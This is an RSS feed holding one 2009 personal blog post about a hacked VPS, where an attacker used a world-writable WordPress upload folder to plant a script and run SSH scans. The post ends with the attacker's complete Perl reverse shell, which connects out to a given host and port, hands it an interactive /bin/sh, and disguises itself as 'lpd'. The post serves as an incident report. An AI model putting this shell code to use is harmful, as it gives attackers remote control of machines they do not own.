<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>h4x3d.com &#187; chmod</title>
	<atom:link href="http://h4x3d.com/tag/chmod/feed/" rel="self" type="application/rss+xml" />
	<link>http://h4x3d.com</link>
	<description>online portfolio of Julian Klewes</description>
	<lastBuildDate>Mon, 25 Jul 2011 13:18:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Latest downtime due to CHMOD 777 insecurity</title>
		<link>http://h4x3d.com/latest-downtime-due-to-chmod-777-insecurity/</link>
		<comments>http://h4x3d.com/latest-downtime-due-to-chmod-777-insecurity/#comments</comments>
		<pubDate>Mon, 02 Mar 2009 09:29:41 +0000</pubDate>
		<dc:creator>jez</dc:creator>
				<category><![CDATA[unsorted]]></category>
		<category><![CDATA[2009]]></category>
		<category><![CDATA[777]]></category>
		<category><![CDATA[chmod]]></category>
		<category><![CDATA[downtime]]></category>
		<category><![CDATA[february]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[solarVPS]]></category>

		<guid isPermaLink="false">http://www.h4x3d.com/latest-downtime-due-to-chmod-777-insecurity/</guid>
		<description><![CDATA[Last time this sort of odd situation occured was way back in 2003 when I had my h4x3d.com website(s) hosted in Germany. People were clueless, but level3 administrators figured it out. WordPress requires some folders to be CHMODDED to 777, read,write, execute all access basically. One of those folders is the wp-content/upload folder. Different programmes, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" style="float: left;margin: 0 15px 15px 0" src="http://i42.tinypic.com/205a7g6.jpg" alt="exploit, random image however" width="320" height="213" /></p>
<p>Last time this sort of odd situation occured was way back in 2003 when I had my h4x3d.com website(s) hosted in Germany. People were clueless, but level3 administrators figured it out. WordPress requires some folders to be CHMODDED to 777, read,write, execute all access basically. One of those folders is the wp-content/upload folder. Different programmes, because not only wordpress is to &#8220;blame&#8221;, such as coppermine require similar settings for full functionality.</p>
<p>Anyway &#8211; someone from switzerland (bless the logs) had uploaded a perl script to one of the domains and was running excessive ssh scans. This was also why the VPS slowed down and became unresponsive. Since I was not able to restart it manually, I got in contact with my new VPS support at <a href="http://solarvps.com">SolarVPS</a> &#8211; they identified the scans and with my CHMOD 777 clue dropped in, some rootkit scans and other audits they were able to chuck out those unwanted visitors and files within an hour.</p>
<p>This is frankly speaking a support everyone is looking for. At zone.net one had varying support quality due to apparent offshoring of support to people that had no clue and merely redirected requests to the level3 techs. It seems like level3 techs reside at solarvps, else I wonder how they were able to almost instantianiously sort out my problems. I will have to find a solution to the upload folder problem, eventually move it outside the httpdocs? Any advice or comments?</p>
<p>Below you find one of the scripts that was used to call home and cause havoc, I believe this is only the &#8220;gateway&#8221; and &#8220;door opener&#8221; for more destructive commands to be executed:</p>
<p><code>c.txt<br />
#!/usr/bin/perl<br />
use Socket;<br />
$cmd="lpd";<br />
$system='/bin/sh -i';<br />
$0=$cmd;<br />
$target=$ARGV[0];<br />
$port=$ARGV[1];<br />
$iaddr=inet_aton($target) || die("Error: $!\n");<br />
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");<br />
$proto=getprotobyname('tcp');<br />
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");<br />
connect(SOCKET, $paddr) || die("Error: $!\n");<br />
open(STDIN, "&gt;&amp;SOCKET");<br />
open(STDOUT, "&gt;&amp;SOCKET");<br />
open(STDERR, "&gt;&amp;SOCKET");<br />
system($system);<br />
close(STDIN);<br />
close(STDOUT);<br />
close(STDERR);</code></p>
]]></content:encoded>
			<wfw:commentRss>http://h4x3d.com/latest-downtime-due-to-chmod-777-insecurity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

